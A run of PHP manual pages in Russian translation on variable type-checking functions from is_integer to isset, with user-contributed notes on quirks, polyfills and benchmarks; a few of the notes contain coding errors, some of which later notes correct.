Simon Neaves was close on explaining why his function is perfect choice for testing for an int (as possibly most people would need).  He made some errors on his ctype_digit() output though - possibly a typo, or maybe a bug in his version of PHP at the time.

The correct output for parts of his examples should be:

<?php
var_dump(ctype_digit(23)); //bool(false)
var_dump(ctype_digit("23")); //bool(true)
var_dump(ctype_digit(23.5)); //bool(false)
var_dump(ctype_digit(NULL)); //bool(false)
var_dump(ctype_digit("")); //bool(false)
?>

As you can see, the reason why using *just* ctype_digit() may not always work is because it only returns TRUE when given a string as input - given a number value and it returns FALSE (which may be unexpected).
Simon Neaves 29-Apr-2008 11:14
I've found that both that is_int and ctype_digit don't behave quite as I'd expect, so I made a simple function called isInteger which does. I hope somebody finds it useful.

<?php
function isInteger($input){
    return(ctype_digit(strval($input)));
}

var_dump(is_int(23)); //bool(true)
var_dump(is_int("23")); //bool(false)
var_dump(is_int(23.5)); //bool(false)
var_dump(is_int(NULL)); //bool(false)
var_dump(is_int("")); //bool(false)

var_dump(ctype_digit(23)); //bool(true)
var_dump(ctype_digit("23")); //bool(false)
var_dump(ctype_digit(23.5)); //bool(false)
var_dump(ctype_digit(NULL)); //bool(false)
var_dump(ctype_digit("")); //bool(true)

var_dump(isInteger(23)); //bool(true)
var_dump(isInteger("23")); //bool(true)
var_dump(isInteger(23.5)); //bool(false)
var_dump(isInteger(NULL)); //bool(false)
var_dump(isInteger("")); //bool(false)
?>
gabe at websaviour dot com 14-Jul-2003 11:08
Although this can be inferred from the documentation, beware of numeric strings.  I ran into the problem in a MySQL app where I would either SELECT an INT PRIMARY KEY or INSERT a new record and use mysql_insert_id() to get the KEY before continuing onto the new section.

I used is_int() to make sure the subsequent queries wouldn't break when using the key variable.  Unfortunately I failed to realize that while mysql_insert_id() returns an int, mysql_result() always returns a string even if you are SELECTing from an INT field.

Spent at least 30 minutes trying to figure out why existing records weren't getting linked, but new records would link fine.  I ended up using intval() on mysql_result() to make sure subsequent queries still always work.


Псевдоним is_int

  • « is_int
  • is_iterable »
  • PHP Manual
  • Функции для работы с переменными
  • Псевдоним is_int

is_integer

(PHP 4, PHP 5, PHP 7, PHP 8)

is_integer — Псевдоним is_int()

Описание

Псевдоним функции is_int().

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, итерируемо ли содержимое переменной

  • « is_integer
  • is_long »
  • PHP Manual
  • Функции для работы с переменными
  • Проверяет, итерируемо ли содержимое переменной

is_iterable

(PHP 7 >= 7.1.0, PHP 8)

is_iterable — Проверяет, итерируемо ли содержимое переменной

Описание

is_iterable(mixed $value): bool

Проверяет, соответствует ли содержимое переменной псевдотипу iterable, то есть — это либо массив (array), либо объект, который реализует интерфейс Traversable.

Список параметров

value

Переменная для проверки.

Возвращаемые значения

Возвращает true, если значение value итерируемо, иначе false.

Примеры

Пример #1 Пример использования функции is_iterable()

<?php

var_dump(is_iterable([1, 2, 3])); // bool(true)
var_dump(is_iterable(new ArrayIterator([1, 2, 3]))); // bool(true)
var_dump(is_iterable((function () { yield 1; })())); // bool(true)
var_dump(is_iterable(1)); // bool(false)
var_dump(is_iterable(new stdClass())); // bool(false)

?>

Смотрите также

  • is_array() - Определяет, представляет ли собой переменная массив

User Contributed Notes

mopsyd at me dot com 01-Apr-2018 04:24
A slight correction to brcontainer's polyfill, which prevents errors on a non-object in a non-blocking way, and also corrects the issue of  the conditional checking "file_exists" instead of the correct "function_exists":

if ( !function_exists(  'is_iterable' ) )
{

    function is_iterable( $obj )
    {
        return is_array( $obj ) || ( is_object( $obj ) && ( $obj instanceof \Traversable ) );
    }

}

The original answer would not have resolved correctly, because it was looking for a file instead of a function, and the provided method would error if given a non-iterable non-object value such as false.
brcontainer at yahoo dot com dot br 09-Mar-2018 08:35
Polyfill for PHP5.6 and PHP7.0

    if (!file_exists('is_iterable')) {
        function is_iterable($obj)
        {
            return is_array($obj) || $obj instanceof \Traversable;
        }
    }
anatoly dot pashin at gmail dot com 01-Feb-2018 07:02
Here is more details on iterable type: http://php.net/manual/en/language.types.iterable.php


Псевдоним is_int

  • « is_iterable
  • is_null »
  • PHP Manual
  • Функции для работы с переменными
  • Псевдоним is_int

is_long

(PHP 4, PHP 5, PHP 7, PHP 8)

is_long — Псевдоним is_int()

Описание

Псевдоним функции is_int().

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, равно ли значение переменной null

  • « is_long
  • is_numeric »
  • PHP Manual
  • Функции для работы с переменными
  • Проверяет, равно ли значение переменной null

is_null

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

is_null — Проверяет, равно ли значение переменной null

Описание

is_null(mixed $value): bool

Проверяет, равно ли значение переменной null.

Список параметров

value

Проверяемая переменная.

Возвращаемые значения

Возвращает true, если значение value — null, иначе false.

Примеры

Пример #1 Пример использования функции is_null()

<?php

error_reporting(E_ALL);

$foo = NULL;
var_dump(is_null($inexistent), is_null($foo));

?>
Notice: Undefined variable: inexistent in ...
bool(true)
bool(true)

Смотрите также

  • Тип null
  • isset() - Определяет, была ли установлена переменная значением, отличным от null
  • is_bool() - Проверяет, представляет ли собой переменная логическое значение
  • is_numeric() - Проверяет, содержит ли переменная число или числовую строку
  • is_float() - Проверяет, представляет ли собой переменная число с плавающей точкой
  • is_int() - Проверяет, представляет ли собой переменная целое число
  • is_string() - Проверяет, представляет ли собой тип переменной строку
  • is_object() - Проверяет, представляет ли собой переменная объект
  • is_array() - Определяет, представляет ли собой переменная массив

User Contributed Notes

ahamilton9 19-Apr-2022 08:28
A quick test in 2022 on PHP 8.1 confirms there is still no need to micro-optimize NULL checks:

<?php

// Comparison Operator
$before = microtime(true);
$var = null;
for ($i=0 ; $i<1000000000 ; $i++) {
    if($var === null) {}
}
$after = microtime(true);
echo '    ===: ' . ($after - $before) . " seconds\n";

// Function
$before = microtime(true);
$var = null;
for ($i=0 ; $i<1000000000 ; $i++) {
    if(is_null($var)) {}
}
$after = microtime(true);
echo 'is_null: ' . ($after - $before) . " seconds\n";

//     ===: 4.1487579345703 seconds
// is_null: 4.1316878795624 seconds
etimjoshua4 at gmail dot com 20-Jan-2021 05:09
I've found that for HTTP requests such as POST, is_null isn't the most reliable choice for checking if empty.

Try using

if(trim($var) == ""){
    // do something
}

instead.

I think the request does something to the input that makes it definitely not NULL.
contact dot 01834e2c at renegade334 dot me dot uk 25-May-2015 06:57
In PHP 7 (phpng), is_null is actually marginally faster than ===, although the performance difference between the two is far smaller.

PHP 5.5.9
is_null - float(2.2381200790405)
===     - float(1.0024659633636)
=== faster by ~100ns per call

PHP 7.0.0-dev (built: May 19 2015 10:16:06)
is_null - float(1.4121870994568)
===     - float(1.4577329158783)
is_null faster by ~5ns per call
normadize (a) gmail (d) com 07-Jul-2012 10:08
Using === NULL instead of is_null(), is actually useful in loaded server scenarios where you have hundreds or thousands of requests per second. Saving microseconds on a lot of "simple" operations in the entire PHP execution chain usually results in being able to serve more pages per second at the same speed, or lowering your cpu usage. People usually write very bad and slow code.
george at fauxpanels dot com 01-Dec-2008 01:58
See how php parses different values. $var is the variable.

$var        =    NULL    ""    0    "0"    1

strlen($var)    =    0    0    1    1    1
is_null($var)    =    TRUE    FALSE    FALSE    FALSE    FALSE
$var == ""    =    TRUE    TRUE    TRUE    FALSE    FALSE
!$var        =    TRUE    TRUE    TRUE    TRUE    FALSE
!is_null($var)    =    FALSE    TRUE    TRUE    TRUE    TRUE
$var != ""    =    FALSE    FALSE    FALSE    TRUE    TRUE
$var        =    FALSE    FALSE    FALSE    FALSE    TRUE

Peace!
Malfist 01-Jul-2008 07:54
Micro optimization isn't worth it.

You had to do it ten million times to notice a difference, a little more than 2 seconds

$a===NULL; Took: 1.2424390316s
 is_null($a); Took: 3.70693397522s

difference = 2.46449494362
difference/10,000,000 = 0.000000246449494362

The execution time difference between ===NULL and is_null is less than 250 nanoseconds. Go optimize something that matters.
strrev xc.noxeh@ellij 03-Jun-2008 05:42
$var===NULL is much faster than is_null($var) (with the same result)

I did some benchmarking with 10 million iterations:

$a=null;
 isset($a); Took: 1.71841216087s
 $a==NULL; Took: 1.27205181122s
 $a===NULL; Took: 1.2424390316s
 is_null($a); Took: 3.70693397522s
$a=5;
 isset($a); Took: 1.15165400505s
 $a==NULL; Took: 1.41901302338s
 $a===NULL; Took: 1.21655392647s
 is_null($a); Took: 3.78501200676s
error_reporting(E_ALL&~E_NOTICE);
unset($a);
 isset($a); Took: 1.51441502571s
 $a==NULL; Took: 16.5414860249s
 $a===NULL; Took: 16.1273870468s
 is_null($a); Took: 23.1918480396s

Please note, that isset is only included because it gives a good performance in any case; HOWEVER isset is NOT the same, or the opposite.
But you might be able to use isset() instead of null-checking.

You should not use is_null, except when you need a callback-function, or for conformity with is_int, is_float, etc.
ai dot unstmann at combase dot de 14-Jan-2008 12:17
For what I realized is that  is_null($var)  returns exactly the opposite of  isset($var) , except that is_null($var) throws a notice if $var hasn't been set yet.

the following will prove that:

<?php

$quirks = array(null, true, false, 0, 1, '', "\0", "unset");

foreach($quirks as $var) {
    if ($var === "unset") unset($var);

    echo is_null($var) ? 1 : 0;
    echo isset($var) ? 1 : 0;
    echo "\n";
}

?>

this will print out something like:

10    // null
01    // true
01    // false
01    // 0
01    // 1
01    // ''
01    // "\0"
Notice:  Undefined variable: var in /srv/www/htdocs/sandbox/null/nulltest.php on line 8
10    // (unset)

For the major quirky types/values is_null($var) obviously always returns the opposite of isset($var), and the notice clearly points out the faulty line with the is_null() statement. You might want to examine the return value of those functions in detail, but since both are specified to return boolean types there should be no doubt.

A second look into the PHP specs tells that is_null() checks whether a value is null or not. So, you may pass any VALUE to it, eg. the result of a function.
isset() on the other hand is supposed to check for a VARIABLE's existence, which makes it a language construct rather than a function. Its sole porpuse lies in that checking. Passing anything else will result in an error.

Knowing that, allows us to draw the following unlikely conclusion:

isset() as a language construct is way faster, more reliable and powerful than is_null() and should be prefered over is_null(), except for when you're directly passing a function's result, which is considered bad programming practice anyways.
michael at cannonbose dot com 30-Dec-2003 09:42
Regarding avoidance of NULLs in your MySQL queries, why not use  IS NULL and IS NOT NULL in your WHERE clauses.

SELECT *
FROM someDatabase
WHERE someAttribute IS NOT NULL

Cheers,

Michael


Проверяет, содержит ли переменная число или числовую строку

  • « is_null
  • is_object »
  • PHP Manual
  • Функции для работы с переменными
  • Проверяет, содержит ли переменная число или числовую строку

is_numeric

(PHP 4, PHP 5, PHP 7, PHP 8)

is_numeric — Проверяет, содержит ли переменная число или числовую строку

Описание

is_numeric(mixed $value): bool

Определяет, представляет ли собой переменная число или строку, содержащую число.

Список параметров

value

Проверяемая переменная.

Возвращаемые значения

Возвращает true, если значение value — число или строка, содержащая число, иначе false.

Список изменений

Версия | Описание
8.0.0 | Строки, состоящие из чисел и заканчивающиеся пробелом («42 »), теперь будут возвращать true. Раньше вместо этого возвращалось false.

Примеры

Пример #1 Примеры использования функции is_numeric()

<?php

$tests = array(
"42",
1337,
0x539,
02471,
0b10100111001,
1337e0,
"0x539",
"02471",
"0b10100111001",
"1337e0",
"not numeric",
array(),
9.1,
null,
'',
);

foreach ($tests as $element) {
if (is_numeric($element)) {
echo var_export($element, true) . " число", PHP_EOL;
} else {
echo var_export($element, true) . " НЕ число", PHP_EOL;
}
}

?>

Результат выполнения приведённого примера:

42 - число
1337 - число
1337 - число
1337 - число
1337 - число
1337.0 - число
'0x539' - НЕ число
'02471' - число
'0b10100111001' - НЕ число
'1337e0' - число
'not numeric' - НЕ число
array (
) - НЕ число
9.1 - число
NULL - НЕ число
'' - НЕ число

Пример #2 Пример использования функции is_numeric() с пробелом

<?php

$tests = [
" 42",
"42 ",
"\u{A0}9001", // Неразрывный пробел
"9001\u{A0}", // Неразрывный пробел
];
foreach ($tests as $element) {
if (is_numeric($element)) {
echo var_export($element, true) . " — число", PHP_EOL;
} else {
echo var_export($element, true) . " — НЕ число", PHP_EOL;
}
}

?>

Результат выполнения приведённого примера в PHP 8:

' 42' — число
'42 ' — число
' 9001' — НЕ число
'9001 ' — НЕ число

Результат выполнения приведённого примера в PHP 7:

' 42' — число
'42 ' — НЕ число
' 9001' — НЕ число
'9001 ' — НЕ число

Смотрите также

  • Строки, содержащие числа
  • ctype_digit() - Проверяет цифровые символы
  • is_bool() - Проверяет, представляет ли собой переменная логическое значение
  • is_null() - Проверяет, равно ли значение переменной null
  • is_float() - Проверяет, представляет ли собой переменная число с плавающей точкой
  • is_int() - Проверяет, представляет ли собой переменная целое число
  • is_string() - Проверяет, представляет ли собой тип переменной строку
  • is_object() - Проверяет, представляет ли собой переменная объект
  • is_array() - Определяет, представляет ли собой переменная массив
  • filter_var() - Фильтрует переменную

User Contributed Notes

Katrina Kizenbach 07-Dec-2022 08:44
Note that is_numeric() will evaluate to false for number strings using decimal commas.

is_numeric('0.11');
Output: true

is_numeric('0,11');
Output: false
anantkumarsingh03101988 at gmail dot com 22-Aug-2022 05:16
Example #2

Output:

'9001 ' is NOT numeric

is incorrect for PHP8, it's numeric.

So please correct this.
tanguy_barsik at hotmail dot com 03-Feb-2017 03:22
for strings, it return true only if float number has a dot

is_numeric( '42.1' )//true
is_numeric( '42,1' )//false
ben at chico dot com 07-Jan-2014 11:20
Apparently NAN (Not A Number) is a number for the sake of is_numeric().

<?php
echo "is ";
if (!is_numeric(NAN))
 echo "not ";
 echo "a number";
?>

Outputs "is a number". So something that is NOT a number (by defintion) is a number...
sobolanx at gmail dot com 22-Jan-2011 03:55
Note that the function accepts extremely big numbers and correctly evaluates them.

For example:

<?php
    $v = is_numeric ('58635272821786587286382824657568871098287278276543219876543') ? true : false;

    var_dump ($v);
?>

The above script will output:

bool(true)

So this function is not intimidated by super-big numbers. I hope this helps someone.

PS: Also note that if you write is_numeric (45thg), this will generate a parse error (since the parameter is not enclosed between apostrophes or double quotes). Keep this in mind when you use this function.
Magnus Deininger, dma05 at web dot de 07-Jan-2009 06:01
regarding the global vs. american numeral notations, it should be noted that at least in japanese, numbers aren't grouped with an extra symbol every three digits, but rather every four digits (for example 1,0000 instead of 10.000). also nadim's regexen are slightly suboptimal at one point having an unescaped '.' operator, and the whole thing could easily be combined into a single regex (speed and all).

adjustments:

<?php
$eng_or_world = preg_match
  ('/^[+-]?'. // start marker and sign prefix
  '(((([0-9]+)|([0-9]{1,4}(,[0-9]{3,4})+)))?(\\.[0-9])?([0-9]*)|'. // american
  '((([0-9]+)|([0-9]{1,4}(\\.[0-9]{3,4})+)))?(,[0-9])?([0-9]*))'. // world
  '(e[0-9]+)?'. // exponent
  '$/', // end marker
  $str) == 1;
?>

i'm sure this still isn't optimal, but it should also cover japanese-style numerals and it fixed a couple of other issues with the other regexen. it also allows for an exponent suffix, the pre-decimal digits are optional and it enforces using either grouped or ungrouped integer parts. should be easier to trim to your liking too.
moskalyuk at gmail dot com 21-Aug-2006 10:18
is_numeric fails on the hex values greater than LONG_MAX, so having a large hex value parsed through is_numeric would result in FALSE being returned even though the value is a valid hex number
kouber at saparev dot com 24-Nov-2003 03:05
Note that this function is not appropriate to check if "is_numeric" for very long strings. In fact, everything passed to this function is converted to long and then to a double. Anything greater than approximately 1.8e308 is too large for a double, so it becomes infinity, i.e. FALSE. What that means is that, for each string with more than 308 characters, is_numeric() will return FALSE, even if all chars are digits.

However, this behaviour is platform-specific.

http://www.php.net/manual/en/language.types.float.php

In such a case, it is suitable to use regular expressions:

function is_numeric_big($s=0) {
  return preg_match('/^-?\d+$/', $s);
}


Проверяет, представляет ли собой переменная объект

  • « is_numeric
  • is_real »
  • PHP Manual
  • Функции для работы с переменными
  • Проверяет, представляет ли собой переменная объект

is_object

(PHP 4, PHP 5, PHP 7, PHP 8)

is_object — Проверяет, представляет ли собой переменная объект

Описание

is_object(mixed $value): bool

Проверяет, представляет ли собой переменная объект.

Список параметров

value

Проверяемая переменная.

Возвращаемые значения

Возвращает true, если значение value — объект, иначе false.

Список изменений

Версия | Описание
7.2.0 | Теперь функция is_object() возвращает true для десериализованных объектов без определения класса (класс __PHP_Incomplete_Class). Раньше возвращалось false.

Примеры

Пример #1 Пример использования функции is_object()

<?php

// Объявляем простую функцию, которая возвращает
// массив из объекта
function get_students($obj)
{
if (!is_object($obj)) {
return false;
}

return $obj->students;
}

// Создаём новый экземпляр класса
// и заполняем значениями

$obj = new stdClass();
$obj->students = array('Келли', 'Росс', 'Филипп');

var_dump(get_students(null));
var_dump(get_students($obj));

?>

Смотрите также

  • is_bool() - Проверяет, представляет ли собой переменная логическое значение
  • is_int() - Проверяет, представляет ли собой переменная целое число
  • is_float() - Проверяет, представляет ли собой переменная число с плавающей точкой
  • is_string() - Проверяет, представляет ли собой тип переменной строку
  • is_array() - Определяет, представляет ли собой переменная массив

User Contributed Notes

mark at not4you dot com 21-Sep-2011 12:23
Unserializes data as returned by the standard PHP serialize() function. If the unserialized object is not an array, it will be converted to one, particularily useful if it returns a __PHP_Incomplete_Class.

<?php
/**
 *
 * @param string $data Serialized data
 *
 * @return array    Unserialized array
 */
function unserialize2array($data) {
    $obj = unserialize($data);
    if(is_array($obj)) return $obj;
    $arr = array();
    foreach($obj as $k=>$v) {
        $arr[$k] = $v;
    }
    unset($arr['__PHP_Incomplete_Class_Name']);
    return $arr;
}
?>
peter dot nagel at portavita dot nl 22-Mar-2011 01:46
Note: is_object(null) returns false

This should actually be part of the input/output specification at the top of this page.


Псевдоним is_float

  • « is_object
  • is_resource »
  • PHP Manual
  • Функции для работы с переменными
  • Псевдоним is_float

is_real

(PHP 4, PHP 5, PHP 7, PHP 8)

is_real — Псевдоним is_float()

Описание

Псевдоним функции is_float().

Внимание

Псевдоним объявлен УСТАРЕВШИМ в PHP 7.4.0 и УДАЛЁН в PHP 8.0.0.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, представляет ли собой переменная ресурс

  • « is_real
  • is_scalar »
  • PHP Manual
  • Функции для работы с переменными
  • Проверяет, представляет ли собой переменная ресурс

is_resource

(PHP 4, PHP 5, PHP 7, PHP 8)

is_resource — Проверяет, представляет ли собой переменная ресурс

Описание

is_resource(mixed $value): bool

Проверяет, представляет ли собой переменная ресурс (resource).

Список параметров

value

Проверяемая переменная.

Возвращаемые значения

Возвращает true, если значение value — ресурс (resource), иначе false.

Примеры

Пример #1 Пример использования функции is_resource()

<?php

$handle = fopen("php://stdout", "w");
if (is_resource($handle)) {
echo '$handle — это ресурс';
}

?>

Результат выполнения приведённого примера:

$handle — это ресурс

Примечания

Замечание:

Функция is_resource() проверяет тип строго; она вернёт false, если значение value — это закрытый ресурс.

Смотрите также

  • Тип resource
  • get_resource_type() - Возвращает тип ресурса

User Contributed Notes

Anonymous 29-Sep-2017 11:16
Note that is_resource() is unreliable. It considers closed resources as false:

<?php

$a = fopen('http://www.google.com', 'r');
var_dump(is_resource($a)); var_dump(is_scalar($a));
//bool(true)
//bool(false)

fclose($a);
var_dump(is_resource($a)); var_dump(is_scalar($a));
//bool(false)
//bool(false)

?>

That's the reason why some other people here have been confused and devised some complex (bad) "solutions" to detect resources...

There's a much better solution... In fact, I just showed it above, but here it is again with a more complete example:

<?php

$a = fopen('http://www.google.com', 'r');
var_dump(is_resource($a)); var_dump(is_scalar($a)); var_dump(is_object($a)); var_dump(is_array($a)); var_dump(is_null($a));
//bool(true)
//bool(false)
//bool(false)
//bool(false)
//bool(false)

?>

So how do you check if something is a resource?

Like this!

<?php

$a = fopen('http://www.google.com', 'r');
$isResource = is_resource($a) || ($a !== null && !is_scalar($a) && !is_array($a) && !is_object($a));
var_dump($isResource);
//bool(true)

fclose($a);

var_dump(is_resource($a));
//bool(false)

$isResource = is_resource($a) || ($a !== null && !is_scalar($a) && !is_array($a) && !is_object($a));
var_dump($isResource);
//bool(true)

?>

How it works:

- An active resource is a resource, so check that first for efficiency.
- Then branch to check what the variable is NOT:
- A resource is never NULL. (We do that check via `!== null` for efficiency).
- A resource is never Scalar (int, float, string, bool).
- A resource is never an array.
- A resource is never an object.
- Only one variable type remains if all of the above checks succeeded: IF it's NOT any of the above, then it's a closed resource!

Just surfed by and saw the bad and hacky methods other people had left, and wanted to help out with this proper technique. Good luck, everyone!

PS: The core problem is that is_resource() does a "loose" check for "living resource". I wish that it had a $strict parameter for "any resource" instead of these user-workarounds being necessary.
CertaiN 17-Jan-2014 05:05
Try this to know behavior:

<?php
function resource_test($resource, $name) {
    echo
        '[' . $name. ']',
        PHP_EOL,
        '(bool)$resource => ',
        $resource ? 'TRUE' : 'FALSE',
        PHP_EOL,
        'get_resource_type($resource) => ',
        get_resource_type($resource) ?: 'FALSE',
        PHP_EOL,
        'is_resource($resource) => ',
        is_resource($resource) ? 'TRUE' : 'FALSE',
        PHP_EOL,
        PHP_EOL
    ;
}

$resource = tmpfile();
resource_test($resource, 'Check Valid Resource');

fclose($resource);
resource_test($resource, 'Check Released Resource');

$resource = null;
resource_test($resource, 'Check NULL');
?>

It will be shown as...

[Check Valid Resource]
(bool)$resource => TRUE
get_resource_type($resource) => stream
is_resource($resource) => TRUE

[Check Released Resource]
(bool)$resource => TRUE
get_resource_type($resource) => Unknown
is_resource($resource) => FALSE

[Check NULL]
(bool)$resource => FALSE
get_resource_type($resource) => FALSE
Warning:  get_resource_type() expects parameter 1 to be resource, null given in ... on line 10
is_resource($resource) => FALSE
btleffler [AT] gmail [DOT] com 12-May-2011 01:55
I was recently trying to loop through some objects and convert them to arrays so that I could encode them to json strings.

I was running into issues when an element of one of my objects was a SoapClient. As it turns out, json_encode() doesn't like any resources to be passed to it. My simple fix was to use is_resource() to determine whether or not the variable I was looking at was a resource.

I quickly realized that is_resource() returns false for two out of the 3 resources that are typically in a SoapClient object. If the resource type is 'Unknown' according to var_dump() and get_resource_type(), is_resource() doesn't think that the variable is a resource!

My work around for this was to use get_resource_type() instead of is_resource(), but that function throws an error if the variable you're checking isn't a resource.

So how are you supposed to know when a variable is a resource if is_resource() is unreliable, and get_resource_type() gives errors if you don't pass it a resource?

I ended up doing something like this:

<?php

function isResource ($possibleResource) { return !is_null(@get_resource_type($possibleResource)); }

?>

The @ operator suppresses the errors thrown by get_resource_type() so it returns null if $possibleResource isn't a resource.

I spent way too long trying to figure this stuff out, so I hope this comment helps someone out if they run into the same problem I did.


Проверяет, представляет ли собой переменная скаляр

  • « is_resource
  • is_string »
  • PHP Manual
  • Функции для работы с переменными
  • Проверяет, представляет ли собой переменная скаляр

is_scalar

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

is_scalar — Проверяет, представляет ли собой переменная скаляр

Описание

is_scalar(mixed $value): bool

Проверяет, представляет ли собой переменная скаляр.

Скалярные переменные — это переменные, содержащие int, float, string и bool. Типы array, object, resource и null — не скалярные.

Замечание:

Функция is_scalar() не считает ресурсы (resource) скалярными значениями, поскольку ресурсы — это абстрактные типы данных, которые пока основаны на целых числах (int). Полагаться на эту деталь не нужно, поскольку не исключено, что в будущем функция будет рассматривать ресурсы по-другому.

Замечание:

Функция is_scalar() не считает NULL скаляром.

Список параметров

value

Проверяемая переменная.

Возвращаемые значения

Возвращает true, если значение value — скаляр, иначе false.

Примеры

Пример #1 Пример использования функции is_scalar()

<?php

function show_var($var)
{
if (is_scalar($var)) {
echo $var;
} else {
var_dump($var);
}
}
$pi = 3.1416;
$proteins = array("hemoglobin", "cytochrome c oxidase", "ferredoxin");

show_var($pi);
show_var($proteins)

?>

Результат выполнения приведённого примера:

3.1416
array(3) {
  [0]=>
  string(10) "hemoglobin"
  [1]=>
  string(20) "cytochrome c oxidase"
  [2]=>
  string(10) "ferredoxin"
}

Смотрите также

  • is_float() - Проверяет, представляет ли собой переменная число с плавающей точкой
  • is_int() - Проверяет, представляет ли собой переменная целое число
  • is_numeric() - Проверяет, содержит ли переменная число или числовую строку
  • is_real() - Псевдоним is_float
  • is_string() - Проверяет, представляет ли собой тип переменной строку
  • is_bool() - Проверяет, представляет ли собой переменная логическое значение
  • is_object() - Проверяет, представляет ли собой переменная объект
  • is_array() - Определяет, представляет ли собой переменная массив

User Contributed Notes

31-Jul-2006 08:59
Another warning in response to the previous note:
> just a warning as it appears that an empty value is not a scalar.

That statement is wrong--or, at least, has been fixed with a later revision than the one tested.  The following code generated the following output on PHP 4.3.9.

CODE:
<?php
    echo('is_scalar() test:'.EOL);
    echo("NULL: "      . print_R(is_scalar(NULL),     true) . EOL);
    echo("false: "    . print_R(is_scalar(false),   true) . EOL);
    echo("(empty): "  . print_R(is_scalar(''),      true) . EOL);
    echo("0: "         . print_R(is_scalar(0),       true) . EOL);
    echo("'0': "      . print_R(is_scalar('0'),     true) . EOL);
?>

OUTPUT:
is_scalar() test:
NULL:
false: 1
(empty): 1
0: 1
'0': 1

THUS:
   * NULL is NOT a scalar
   * false, (empty string), 0, and "0" ARE scalars
efelch at gmail dot com 17-Aug-2005 02:31
A scalar is a single item or value, compared to things like arrays and objects which have multiple values. This tends to be the standard definition of the word in terms of programming. An integer, character, etc are scalars. Strings are probably considered scalars since they only hold "one" value (the value represented by the characters represented) and nothing else.
Dr K 14-Aug-2005 03:48
Having hunted around the manual, I've not found a clear statement of what makes a type "scalar" (e.g. if some future version of the language introduces a new kind of type, what criterion will decide if it's "scalar"? - that goes beyond just listing what's scalar in the current version.)

In other lanuages, it means "has ordering operators" - i.e. "less than" and friends.

It (-:currently:-) appears to have the same meaning in PHP.
popanowel HAT hotmailZ DOT cum 14-May-2004 12:31
Hi ... for newbees here, I just want to mention that reference and scalar variable aren't the same. A reference is a pointer to a scalar, just like in C or C++.

<? php  // simple reference to scalar

  $a = 2;
  $ref = & $a;

  echo "$a <br> $ref";

?>
this should print out: "2 <br> 2".

Scalar class also exists. Look below:
<? php

  class Object_t {

     var $a;

     function Object_t ()  // constructor
     {
        $this->a = 1;
     }

  }

  $a = new Object_t; // we define a scalar object

  $ref_a = &a;

  echo "$a->a <br> $ref->a";

?>
again, this should echo: "1 <br> 1";

Here is another method isued in OOP to acheive on working only over reference to scalar object. Using this, you won't ever have to  ask yourself if you work on a copy of the scalar or its reference. You will only possess reference to the scalar object. If you want to duplicate the scalar object, you will have to create a function for that purpose that would read by the reference the values and assign them to another scalar of the same type... or an other type, it is as you wish at that moment.
<?php

  class objet_t {
     var $a;

     function object_t
     {
        $this->a = "patate_poil";
     }
  }

   function &get_ref($object_type)
   {
      // here we create a scalar object in memory
      // and we return it by reference to the calling
      // control scope.
      return &new $object_type;
   }

   $ref_object_t = get_ref(object_t);

   echo "$ref_object_t->a <br>";

?>
this should echo: "patate_poit <br>".

The only thing that I try to demonstrate is that scalar variable ARE object in memory while a reference is usualy a variable (scalar object) that contain the address of another scalar object, which contain the informations you want by using the reference.

Good Luck!

otek is popanowel HAT hotmailZ DOT cum


Проверяет, представляет ли собой тип переменной строку

  • « is_scalar
  • isset »
  • PHP Manual
  • Функции для работы с переменными
  • Проверяет, представляет ли собой тип переменной строку

is_string

(PHP 4, PHP 5, PHP 7, PHP 8)

is_string — Проверяет, представляет ли собой тип переменной строку

Описание

is_string(mixed $value): bool

Проверяет, представляет ли собой тип переменной строку.

Список параметров

value

Проверяемая переменная.

Возвращаемые значения

Возвращает true, если значение value — строка, иначе false.

Примеры

Пример #1 Пример использования функции is_string()

<?php

$values = array(false, true, null, 'abc', '23', 23, '23.5', 23.5, '', ' ', '0', 0);
foreach ($values as $value) {
echo "is_string(";
var_export($value);
echo ") = ";
echo var_dump(is_string($value));
}

?>

Результат выполнения приведённого примера:

is_string(false) = bool(false)
is_string(true) = bool(false)
is_string(NULL) = bool(false)
is_string('abc') = bool(true)
is_string('23') = bool(true)
is_string(23) = bool(false)
is_string('23.5') = bool(true)
is_string(23.5) = bool(false)
is_string('') = bool(true)
is_string(' ') = bool(true)
is_string('0') = bool(true)
is_string(0) = bool(false)

Смотрите также

  • is_float() - Проверяет, представляет ли собой переменная число с плавающей точкой
  • is_int() - Проверяет, представляет ли собой переменная целое число
  • is_bool() - Проверяет, представляет ли собой переменная логическое значение
  • is_object() - Проверяет, представляет ли собой переменная объект
  • is_array() - Определяет, представляет ли собой переменная массив

User Contributed Notes

Peter Barney 13-Sep-2017 10:47
As noted earlier, is_string() returns false on an object that has a __toString() method. Here is a simple way to do a check that will work:

<?php
// determine if the passed argument can be treated like a string.
function is_stringy($text) {
    return (is_string($text) || (is_object($text) && method_exists($text, '__toString' ));
}
laszlo dot heredy shift-two gmail etc 27-Feb-2014 09:22
Using is_string() on an object will always return false (even with __toString()).

<?php
class B {
  public function __toString() {
    return "Instances of B() can be treated as a strings!\n";
  }
}

$b = new B();
print($b); //Instances of B() can be treated as a strings!
print(is_string($b) ? 'true' : 'false'); //false
?>


Определяет, была ли установлена переменная значением, отличным от null

  • « is_string
  • print_r »
  • PHP Manual
  • Функции для работы с переменными
  • Определяет, была ли установлена переменная значением, отличным от null

isset

(PHP 4, PHP 5, PHP 7, PHP 8)

isset — Определяет, была ли установлена переменная значением, отличным от null

Описание

isset(mixed $var, mixed ...$vars): bool

Определяет, была ли установлена переменная значением, отличным от null.

Если переменная была удалена через языковую конструкцию unset(), то переменная больше не считается установленной.

Языковая конструкция isset() вернёт false при проверке переменной, для которой было установлено значение null. Учтите также, что NULL-символ («\0») не равен константе null в PHP.

Если были переданы несколько параметров, то конструкция isset() вернёт true только тогда, когда все параметры определены. Проверка выполняется слева направо и заканчивается, как только будет встречена неопределённая переменная.

Список параметров

var

Проверяемая переменная.

vars

Следующие переменные.

Возвращаемые значения

Возвращает true, если переданная в параметр var переменная определена и её значение отличается от null. В остальных случаях возвращает false.

Примеры

Пример #1 Пример использования языковой конструкции isset()

<?php

$var = '';

// Проверка вернёт TRUE, поэтому текст будет напечатан.
if (isset($var)) {
echo "Эта переменная определена, поэтому меня и напечатали.";
}

// В следующем примере вызывается функция var_dump для вывода
// значения, возвращаемого конструкцией isset().

$a = "test";
$b = "anothertest";

var_dump(isset($a)); // TRUE
